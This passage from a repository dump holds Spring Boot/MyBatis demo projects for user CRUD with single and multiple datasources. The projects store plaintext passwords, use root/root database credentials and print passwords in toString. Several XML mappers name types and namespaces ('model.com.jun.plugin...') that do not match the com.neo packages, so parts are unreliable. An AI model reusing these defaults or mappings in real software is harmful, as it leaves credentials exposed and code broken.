    "content": "package com.neo.web;\n\nimport java.util.List;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.neo.model.User;\nimport com.neo.mapper.UserMapper;\n\n@RestController\npublic class UserController {\n\t\n\t@Autowired\n\tprivate UserMapper userMapper;\n\t\n\t@RequestMapping(\"/getUsers\")\n\tpublic List<User> getUsers() {\n\t\tList<User> users=userMapper.getAll();\n\t\treturn users;\n\t}\n\t\n    @RequestMapping(\"/getUser\")\n    public User getUser(Long id) {\n    \tUser user=userMapper.getOne(id);\n        return user;\n    }\n    \n    @RequestMapping(\"/add\")\n    public void save(User user) {\n    \tuserMapper.insert(user);\n    }\n    \n    @RequestMapping(value=\"update\")\n    public void update(User user) {\n    \tuserMapper.update(user);\n    }\n    \n    @RequestMapping(value=\"/delete/{id}\")\n    public void delete(@PathVariable(\"id\") Long id) {\n    \tuserMapper.delete(id);\n    }\n    \n    \n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml/src/main/resources/application.properties",
    "content": "mybatis.config-location=classpath:mybatis/mybatis-config.xml\nmybatis.mapper-locations=classpath:mybatis/mapper/*.xml\nmybatis.type-aliases-package=com.neo.model\n\nspring.datasource.url=jdbc:mysql://localhost:3306/test?serverTimezone=UTC&useUnicode=true&characterEncoding=utf-8&useSSL=true\nspring.datasource.username=root\nspring.datasource.password=root\nspring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml/src/main/resources/mybatis/mapper/UserMapper.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\" >\n<mapper namespace=\"mapper.com.jun.plugin.UserMapper\" >\n    <resultMap id=\"BaseResultMap\" type=\"model.com.jun.plugin.model.User\" >\n        <id column=\"id\" property=\"id\" jdbcType=\"BIGINT\" />\n        <result column=\"userName\" property=\"userName\" jdbcType=\"VARCHAR\" />\n        <result column=\"passWord\" property=\"passWord\" jdbcType=\"VARCHAR\" />\n        <result column=\"user_sex\" property=\"userSex\" javaType=\"com.neo.enums.UserSexEnum\"/>\n        <result column=\"nick_name\" property=\"nickName\" jdbcType=\"VARCHAR\" />\n    </resultMap>\n    \n    <sql id=\"Base_Column_List\" >\n        id, userName, passWord, user_sex, nick_name\n    </sql>\n\n    <select id=\"getAll\" resultMap=\"BaseResultMap\"  >\n       SELECT \n       <include refid=\"Base_Column_List\" />\n\t   FROM users\n    </select>\n\n    <select id=\"getOne\" parameterType=\"java.lang.Long\" resultMap=\"BaseResultMap\" >\n        SELECT \n       <include refid=\"Base_Column_List\" />\n\t   FROM users\n\t   WHERE id = #{id}\n    </select>\n\n    <insert id=\"insert\" parameterType=\"model.com.jun.plugin.model.User\" >\n       INSERT INTO \n       \t\tusers\n       \t\t(userName,passWord,user_sex) \n       \tVALUES\n       \t\t(#{userName}, #{passWord}, #{userSex})\n    </insert>\n    \n    <update id=\"update\" parameterType=\"model.com.jun.plugin.model.User\" >\n       UPDATE \n       \t\tusers \n       SET \n       \t<if test=\"userName != null\">userName = #{userName},</if>\n       \t<if test=\"passWord != null\">passWord = #{passWord},</if>\n       \tnick_name = #{nickName}\n       WHERE \n       \t\tid = #{id}\n    </update>\n    \n    <delete id=\"delete\" parameterType=\"java.lang.Long\" >\n       DELETE FROM\n       \t\t users \n       WHERE \n       \t\t id =#{id}\n    </delete>\n\n</mapper>"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml/src/main/resources/mybatis/mybatis-config.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<!DOCTYPE configuration PUBLIC \"-//mybatis.org//DTD Config 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-config.dtd\">\n<configuration>\n\t<typeAliases>\n\t\t<typeAlias alias=\"Integer\" type=\"java.lang.Integer\" />\n\t\t<typeAlias alias=\"Long\" type=\"java.lang.Long\" />\n\t\t<typeAlias alias=\"HashMap\" type=\"java.util.HashMap\" />\n\t\t<typeAlias alias=\"LinkedHashMap\" type=\"java.util.LinkedHashMap\" />\n\t\t<typeAlias alias=\"ArrayList\" type=\"java.util.ArrayList\" />\n\t\t<typeAlias alias=\"LinkedList\" type=\"java.util.LinkedList\" />\n\t</typeAliases>\n</configuration>"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml/src/test/java/com/neo/MybatisXmlApplicationTests.java",
    "content": "package com.neo;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class MybatisXmlApplicationTests {\n\n\t@Test\n\tpublic void contextLoads() {\n\t\tSystem.out.println(\"hello world\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml/src/test/java/com/neo/mapper/UserMapperTest.java",
    "content": "package com.neo.mapper;\n\nimport java.util.List;\n\nimport org.junit.Assert;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\nimport com.neo.model.User;\nimport com.neo.enums.UserSexEnum;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class UserMapperTest {\n\n\t@Autowired\n\tprivate UserMapper userMapper;\n\n\t@Test\n\tpublic void testInsert() throws Exception {\n\t\tuserMapper.insert(new User(\"aa\", \"a123456\", UserSexEnum.MAN));\n\t\tuserMapper.insert(new User(\"bb\", \"b123456\", UserSexEnum.WOMAN));\n\t\tuserMapper.insert(new User(\"cc\", \"b123456\", UserSexEnum.WOMAN));\n\n\t\tAssert.assertEquals(3, userMapper.getAll().size());\n\t}\n\n\t@Test\n\tpublic void testQuery() throws Exception {\n\t\tList<User> users = userMapper.getAll();\n\t\tif(users==null || users.size()==0){\n\t\t\tSystem.out.println(\"is null\");\n\t\t}else{\n\t\t\tSystem.out.println(users.toString());\n\t\t}\n\t}\n\t\n\t\n\t@Test\n\tpublic void testUpdate() throws Exception {\n\t\tUser user = userMapper.getOne(6l);\n\t\tSystem.out.println(user.toString());\n\t\tuser.setNickName(\"neo\");\n\t\tuserMapper.update(user);\n\t\tAssert.assertTrue((\"neo\".equals(userMapper.getOne(6l).getNickName())));\n\t}\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml/src/test/java/com/neo/web/UserControllerTest.java",
    "content": "package com.neo.web;\n\n\n\nimport org.junit.Before;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.http.MediaType;\nimport org.springframework.test.context.junit4.SpringRunner;\nimport org.springframework.test.web.servlet.MockMvc;\nimport org.springframework.test.web.servlet.request.MockMvcRequestBuilders;\nimport org.springframework.test.web.servlet.setup.MockMvcBuilders;\nimport org.springframework.web.context.WebApplicationContext;\n\nimport static org.springframework.test.web.servlet.result.MockMvcResultHandlers.print;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class UserControllerTest {\n    @Autowired\n    private WebApplicationContext wac;\n    private MockMvc mockMvc;\n\n    @Before\n    public void setUp() throws Exception {\n        mockMvc = MockMvcBuilders.webAppContextSetup(wac).build(); //初始化MockMvc对象\n    }\n\n    @Test\n    public void getUsers() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/getUsers\")\n                .accept(MediaType.APPLICATION_JSON_UTF8)).andDo(print());\n    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml/users.sql",
    "content": "/*\nNavicat MySQL Data Transfer\n\nSource Server         : 本地\nSource Server Version : 50505\nSource Host           : localhost:3306\nSource Database       : test1\n\nTarget Server Type    : MYSQL\nTarget Server Version : 50505\nFile Encoding         : 65001\n\nDate: 2016-11-05 21:17:33\n*/\n\nSET FOREIGN_KEY_CHECKS=0;\n\n-- ----------------------------\n-- Table structure for `users`\n-- ----------------------------\nDROP TABLE IF EXISTS `users`;\nCREATE TABLE `users` (\n  `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键id',\n  `userName` varchar(32) DEFAULT NULL COMMENT '用户名',\n  `passWord` varchar(32) DEFAULT NULL COMMENT '密码',\n  `user_sex` varchar(32) DEFAULT NULL,\n  `nick_name` varchar(32) DEFAULT NULL,\n  PRIMARY KEY (`id`)\n) ENGINE=InnoDB AUTO_INCREMENT=28 DEFAULT CHARSET=utf8;\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml-mulidatasource/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>com.neo</groupId>\n\t<artifactId>spring-boot-mybatis-xml-mulidatasource</artifactId>\n\t<version>1.0.0</version>\n\t<packaging>jar</packaging>\n\n\t<name>spring-boot-mybatis-xml-mulidatasource</name>\n\t<description>Demo project for Spring Boot and mybatis</description>\n\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>2.1.0.RELEASE</version>\n\t\t<relativePath/> <!-- lookup parent from repository -->\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t        <groupId>org.springframework.boot</groupId>\n\t        <artifactId>spring-boot-starter-web</artifactId>\n\t    </dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.mybatis.spring.boot</groupId>\n\t\t\t<artifactId>mybatis-spring-boot-starter</artifactId>\n\t\t\t<version>2.0.0</version>\n\t\t</dependency>\n\t     <dependency>\n\t        <groupId>mysql</groupId>\n\t        <artifactId>mysql-connector-java</artifactId>\n\t    </dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t</dependencies>\n\t\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\t\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml-mulidatasource/src/main/java/com/neo/MXMApplication.java",
    "content": "package com.neo;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class MXMApplication {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(MXMApplication.class, args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml-mulidatasource/src/main/java/com/neo/datasource/DataSource1Config.java",
    "content": "package com.neo.datasource;\n\nimport org.apache.ibatis.session.SqlSessionFactory;\nimport org.mybatis.spring.SqlSessionFactoryBean;\nimport org.mybatis.spring.SqlSessionTemplate;\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.boot.jdbc.DataSourceBuilder;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.Primary;\nimport org.springframework.core.io.support.PathMatchingResourcePatternResolver;\nimport org.springframework.jdbc.datasource.DataSourceTransactionManager;\n\nimport javax.sql.DataSource;\n\n/**\n * Created by summer on 2016/11/25.\n */\n@Configuration\n@MapperScan(basePackages = \"com.neo.mapper.test1\", sqlSessionTemplateRef  = \"test1SqlSessionTemplate\")\npublic class DataSource1Config {\n\n    @Bean(name = \"test1DataSource\")\n    @ConfigurationProperties(prefix = \"spring.datasource.test1\")\n    @Primary\n    public DataSource testDataSource() {\n        return DataSourceBuilder.create().build();\n    }\n\n    @Bean(name = \"test1SqlSessionFactory\")\n    @Primary\n    public SqlSessionFactory testSqlSessionFactory(@Qualifier(\"test1DataSource\") DataSource dataSource) throws Exception {\n        SqlSessionFactoryBean bean = new SqlSessionFactoryBean();\n        bean.setDataSource(dataSource);\n        bean.setMapperLocations(new PathMatchingResourcePatternResolver().getResources(\"classpath:mybatis/mapper/test1/*.xml\"));\n        return bean.getObject();\n    }\n\n    @Bean(name = \"test1TransactionManager\")\n    @Primary\n    public DataSourceTransactionManager testTransactionManager(@Qualifier(\"test1DataSource\") DataSource dataSource) {\n        return new DataSourceTransactionManager(dataSource);\n    }\n\n    @Bean(name = \"test1SqlSessionTemplate\")\n    @Primary\n    public SqlSessionTemplate testSqlSessionTemplate(@Qualifier(\"test1SqlSessionFactory\") SqlSessionFactory sqlSessionFactory) throws Exception {\n        return new SqlSessionTemplate(sqlSessionFactory);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml-mulidatasource/src/main/java/com/neo/datasource/DataSource2Config.java",
    "content": "package com.neo.datasource;\n\nimport org.apache.ibatis.session.SqlSessionFactory;\nimport org.mybatis.spring.SqlSessionFactoryBean;\nimport org.mybatis.spring.SqlSessionTemplate;\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.boot.jdbc.DataSourceBuilder;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.core.io.support.PathMatchingResourcePatternResolver;\nimport org.springframework.jdbc.datasource.DataSourceTransactionManager;\n\nimport javax.sql.DataSource;\n\n/**\n * Created by summer on 2016/11/25.\n */\n@Configuration\n@MapperScan(basePackages = \"com.neo.mapper.test2\", sqlSessionTemplateRef  = \"test2SqlSessionTemplate\")\npublic class DataSource2Config {\n\n    @Bean(name = \"test2DataSource\")\n    @ConfigurationProperties(prefix = \"spring.datasource.test2\")\n    public DataSource testDataSource() {\n        return DataSourceBuilder.create().build();\n    }\n\n    @Bean(name = \"test2SqlSessionFactory\")\n    public SqlSessionFactory testSqlSessionFactory(@Qualifier(\"test2DataSource\") DataSource dataSource) throws Exception {\n        SqlSessionFactoryBean bean = new SqlSessionFactoryBean();\n        bean.setDataSource(dataSource);\n        bean.setMapperLocations(new PathMatchingResourcePatternResolver().getResources(\"classpath:mybatis/mapper/test2/*.xml\"));\n        return bean.getObject();\n    }\n\n    @Bean(name = \"test2TransactionManager\")\n    public DataSourceTransactionManager testTransactionManager(@Qualifier(\"test2DataSource\") DataSource dataSource) {\n        return new DataSourceTransactionManager(dataSource);\n    }\n\n    @Bean(name = \"test2SqlSessionTemplate\")\n    public SqlSessionTemplate testSqlSessionTemplate(@Qualifier(\"test2SqlSessionFactory\") SqlSessionFactory sqlSessionFactory) throws Exception {\n        return new SqlSessionTemplate(sqlSessionFactory);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml-mulidatasource/src/main/java/com/neo/enums/UserSexEnum.java",
    "content": "package com.neo.enums;\n\npublic enum UserSexEnum {\n\tMAN, WOMAN\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml-mulidatasource/src/main/java/com/neo/mapper/test1/User1Mapper.java",
    "content": "package com.neo.mapper.test1;\n\nimport com.neo.model.User;\n\nimport java.util.List;\n\npublic interface User1Mapper {\n\t\n\tList<User> getAll();\n\t\n\tUser getOne(Long id);\n\n\tvoid insert(User user);\n\n\tvoid update(User user);\n\n\tvoid delete(Long id);\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml-mulidatasource/src/main/java/com/neo/mapper/test2/User2Mapper.java",
    "content": "package com.neo.mapper.test2;\n\nimport java.util.List;\n\nimport com.neo.model.User;\n\npublic interface User2Mapper {\n\t\n\tList<User> getAll();\n\t\n\tUser getOne(Long id);\n\n\tvoid insert(User user);\n\n\tvoid update(User user);\n\n\tvoid delete(Long id);\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml-mulidatasource/src/main/java/com/neo/model/User.java",
    "content": "package com.neo.model;\n\nimport java.io.Serializable;\n\nimport com.neo.enums.UserSexEnum;\n\npublic class User implements Serializable {\n\n\tprivate static final long serialVersionUID = 1L;\n\tprivate Long id;\n\tprivate String userName;\n\tprivate String passWord;\n\tprivate UserSexEnum userSex;\n\tprivate String nickName;\n\n\tpublic User() {\n\t\tsuper();\n\t}\n\n\tpublic User(String userName, String passWord, UserSexEnum userSex) {\n\t\tsuper();\n\t\tthis.passWord = passWord;\n\t\tthis.userName = userName;\n\t\tthis.userSex = userSex;\n\t}\n\n\tpublic Long getId() {\n\t\treturn id;\n\t}\n\n\tpublic void setId(Long id) {\n\t\tthis.id = id;\n\t}\n\n\tpublic String getUserName() {\n\t\treturn userName;\n\t}\n\n\tpublic void setUserName(String userName) {\n\t\tthis.userName = userName;\n\t}\n\n\tpublic String getPassWord() {\n\t\treturn passWord;\n\t}\n\n\tpublic void setPassWord(String passWord) {\n\t\tthis.passWord = passWord;\n\t}\n\n\tpublic UserSexEnum getUserSex() {\n\t\treturn userSex;\n\t}\n\n\tpublic void setUserSex(UserSexEnum userSex) {\n\t\tthis.userSex = userSex;\n\t}\n\n\tpublic String getNickName() {\n\t\treturn nickName;\n\t}\n\n\tpublic void setNickName(String nickName) {\n\t\tthis.nickName = nickName;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\t// TODO Auto-generated method stub\n\t\treturn \"userName \" + this.userName + \", pasword \" + this.passWord + \"sex \" + userSex.name();\n\t}\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml-mulidatasource/src/main/java/com/neo/web/UserController.java",
    "content": "package com.neo.web;\n\nimport java.util.List;\n\nimport com.neo.mapper.test1.User1Mapper;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.neo.model.User;\nimport com.neo.mapper.test2.User2Mapper;\n\n@RestController\npublic class UserController {\n\n    @Autowired\n    private User1Mapper user1Mapper;\n\n\t@Autowired\n\tprivate User2Mapper user2Mapper;\n\t\n\t@RequestMapping(\"/getUsers\")\n\tpublic List<User> getUsers() {\n\t\tList<User> users=user1Mapper.getAll();\n\t\treturn users;\n\t}\n\t\n    @RequestMapping(\"/getUser\")\n    public User getUser(Long id) {\n    \tUser user=user2Mapper.getOne(id);\n        return user;\n    }\n    \n    @RequestMapping(\"/add\")\n    public void save(User user) {\n        user2Mapper.insert(user);\n    }\n    \n    @RequestMapping(value=\"update\")\n    public void update(User user) {\n        user2Mapper.update(user);\n    }\n    \n    @RequestMapping(value=\"/delete/{id}\")\n    public void delete(@PathVariable(\"id\") Long id) {\n        user1Mapper.delete(id);\n    }\n    \n    \n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml-mulidatasource/src/main/resources/application.properties",
    "content": "mybatis.config-location=classpath:mybatis/mybatis-config.xml\n\nspring.datasource.test1.jdbc-url=jdbc:mysql://localhost:3306/test1?serverTimezone=UTC&useUnicode=true&characterEncoding=utf-8&useSSL=true\nspring.datasource.test1.username=root\nspring.datasource.test1.password=root\nspring.datasource.test1.driver-class-name=com.mysql.cj.jdbc.Driver\n\nspring.datasource.test2.jdbc-url=jdbc:mysql://localhost:3306/test2?serverTimezone=UTC&useUnicode=true&characterEncoding=utf-8&useSSL=true\nspring.datasource.test2.username=root\nspring.datasource.test2.password=root\nspring.datasource.test2.driver-class-name=com.mysql.cj.jdbc.Driver\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml-mulidatasource/src/main/resources/mybatis/mapper/test1/UserMapper.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\" >\n<mapper namespace=\"com.neo.mapper.test1.User1Mapper\" >\n    <resultMap id=\"BaseResultMap\" type=\"model.com.jun.plugin.model.User\" >\n        <id column=\"id\" property=\"id\" jdbcType=\"BIGINT\" />\n        <result column=\"userName\" property=\"userName\" jdbcType=\"VARCHAR\" />\n        <result column=\"passWord\" property=\"passWord\" jdbcType=\"VARCHAR\" />\n        <result column=\"user_sex\" property=\"userSex\" javaType=\"com.neo.enums.UserSexEnum\"/>\n        <result column=\"nick_name\" property=\"nickName\" jdbcType=\"VARCHAR\" />\n    </resultMap>\n    \n    <sql id=\"Base_Column_List\" >\n        id, userName, passWord, user_sex, nick_name\n    </sql>\n\n    <select id=\"getAll\" resultMap=\"BaseResultMap\"  >\n       SELECT \n       <include refid=\"Base_Column_List\" />\n\t   FROM users\n    </select>\n\n    <select id=\"getOne\" parameterType=\"java.lang.Long\" resultMap=\"BaseResultMap\" >\n        SELECT \n       <include refid=\"Base_Column_List\" />\n\t   FROM users\n\t   WHERE id = #{id}\n    </select>\n\n    <insert id=\"insert\" parameterType=\"model.com.jun.plugin.model.User\" >\n       INSERT INTO \n       \t\tusers\n       \t\t(userName,passWord,user_sex) \n       \tVALUES\n       \t\t(#{userName}, #{passWord}, #{userSex})\n    </insert>\n    \n    <update id=\"update\" parameterType=\"model.com.jun.plugin.model.User\" >\n       UPDATE \n       \t\tusers \n       SET \n       \t<if test=\"userName != null\">userName = #{userName},</if>\n       \t<if test=\"passWord != null\">passWord = #{passWord},</if>\n       \tnick_name = #{nickName}\n       WHERE \n       \t\tid = #{id}\n    </update>\n    \n    <delete id=\"delete\" parameterType=\"java.lang.Long\" >\n       DELETE FROM\n       \t\t users \n       WHERE \n       \t\t id =#{id}\n    </delete>\n\n</mapper>"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml-mulidatasource/src/main/resources/mybatis/mapper/test2/UserMapper.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\" >\n<mapper namespace=\"com.neo.mapper.test2.User2Mapper\" >\n    <resultMap id=\"BaseResultMap\" type=\"model.com.jun.plugin.model.User\" >\n        <id column=\"id\" property=\"id\" jdbcType=\"BIGINT\" />\n        <result column=\"userName\" property=\"userName\" jdbcType=\"VARCHAR\" />\n        <result column=\"passWord\" property=\"passWord\" jdbcType=\"VARCHAR\" />\n        <result column=\"user_sex\" property=\"userSex\" javaType=\"com.neo.enums.UserSexEnum\"/>\n        <result column=\"nick_name\" property=\"nickName\" jdbcType=\"VARCHAR\" />\n    </resultMap>\n    \n    <sql id=\"Base_Column_List\" >\n        id, userName, passWord, user_sex, nick_name\n    </sql>\n\n    <select id=\"getAll\" resultMap=\"BaseResultMap\"  >\n       SELECT \n       <include refid=\"Base_Column_List\" />\n\t   FROM users\n    </select>\n\n    <select id=\"getOne\" parameterType=\"java.lang.Long\" resultMap=\"BaseResultMap\" >\n        SELECT \n       <include refid=\"Base_Column_List\" />\n\t   FROM users\n\t   WHERE id = #{id}\n    </select>\n\n    <insert id=\"insert\" parameterType=\"model.com.jun.plugin.model.User\" >\n       INSERT INTO \n       \t\tusers\n       \t\t(userName,passWord,user_sex) \n       \tVALUES\n       \t\t(#{userName}, #{passWord}, #{userSex})\n    </insert>\n    \n    <update id=\"update\" parameterType=\"model.com.jun.plugin.model.User\" >\n       UPDATE \n       \t\tusers \n       SET \n       \t<if test=\"userName != null\">userName = #{userName},</if>\n       \t<if test=\"passWord != null\">passWord = #{passWord},</if>\n       \tnick_name = #{nickName}\n       WHERE \n       \t\tid = #{id}\n    </update>\n    \n    <delete id=\"delete\" parameterType=\"java.lang.Long\" >\n       DELETE FROM\n       \t\t users \n       WHERE \n       \t\t id =#{id}\n    </delete>\n\n</mapper>"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml-mulidatasource/src/main/resources/mybatis/mybatis-config.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<!DOCTYPE configuration PUBLIC \"-//mybatis.org//DTD Config 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-config.dtd\">\n<configuration>\n\t<typeAliases>\n\t\t<typeAlias alias=\"Integer\" type=\"java.lang.Integer\" />\n\t\t<typeAlias alias=\"Long\" type=\"java.lang.Long\" />\n\t\t<typeAlias alias=\"HashMap\" type=\"java.util.HashMap\" />\n\t\t<typeAlias alias=\"LinkedHashMap\" type=\"java.util.LinkedHashMap\" />\n\t\t<typeAlias alias=\"ArrayList\" type=\"java.util.ArrayList\" />\n\t\t<typeAlias alias=\"LinkedList\" type=\"java.util.LinkedList\" />\n\t</typeAliases>\n</configuration>"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml-mulidatasource/src/test/java/com/neo/MXMApplicationTests.java",
    "content": "package com.neo;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class MXMApplicationTests {\n\n\t@Test\n\tpublic void contextLoads() {\n\t\tSystem.out.println(\"hello world\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml-mulidatasource/src/test/java/com/neo/mapper/User1MapperTest.java",
    "content": "package com.neo.mapper;\n\nimport java.util.List;\n\nimport com.neo.mapper.test1.User1Mapper;\nimport org.junit.Assert;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\nimport com.neo.model.User;\nimport com.neo.enums.UserSexEnum;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class User1MapperTest {\n\n\t@Autowired\n\tprivate User1Mapper userMapper;\n\n\t@Test\n\tpublic void testInsert() throws Exception {\n\t\tuserMapper.insert(new User(\"aa\", \"a123456\", UserSexEnum.MAN));\n\t\tuserMapper.insert(new User(\"bb\", \"b123456\", UserSexEnum.WOMAN));\n\t\tuserMapper.insert(new User(\"cc\", \"b123456\", UserSexEnum.WOMAN));\n\n\t\tAssert.assertEquals(3, userMapper.getAll().size());\n\t}\n\n\t@Test\n\tpublic void testQuery() throws Exception {\n\t\tList<User> users = userMapper.getAll();\n\t\tif(users==null || users.size()==0){\n\t\t\tSystem.out.println(\"is null\");\n\t\t}else{\n\t\t\tSystem.out.println(users.size());\n\t\t}\n\t}\n\t\n\t\n\t@Test\n\tpublic void testUpdate() throws Exception {\n\t\tUser user = userMapper.getOne(6l);\n\t\tSystem.out.println(user.toString());\n\t\tuser.setNickName(\"neo\");\n\t\tuserMapper.update(user);\n\t\tAssert.assertTrue((\"neo\".equals(userMapper.getOne(6l).getNickName())));\n\t}\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-xml-mulidatasource/src/test/java/com/neo/mapper/User2MapperTest.java",
    "content": "package com.neo.mapper;\n\nimport com.neo.model.User;\nimport com.neo.enums.UserSexEnum;\nimport com.neo.mapper.test2.User2Mapper;\nimport org.junit.Assert;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\nimport java.util.List;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class User2MapperTest {\n\n\t@Autowired\n\tprivate User2Mapper userMapper;\n\n\t@Test\n\tpublic void testInsert() throws Exception {\n\t\tuserMapper.insert(new User(\"aa\", \"a123456\", UserSexEnum.MAN));\n\t\tuserMapper.insert(new User(\"bb\", \"b123456\", UserSexEnum.WOMAN));\n\t\tuserMapper.insert(new User(\"cc\", \"b123456\", UserSexEnum.WOMAN));\n\n\t\tAssert.assertEquals(3, userMapper.getAll().size());\n\t}\n\n\t@Test\n\tpublic void testQuery() throws Exception {\n\t\tList<User> users = userMapper.getAll();\n\t\tif(users==null || users.size()==0){\n\t\t\tSystem.out.println(\"is null\");\n\t\t}else{\n\t\t\tSystem.out.println(users.toString());\n\t\t}\n\t}\n\t\n\t\n\t@Test\n\tpublic void testUpdate() throws Exception {\n\t\tUser user = 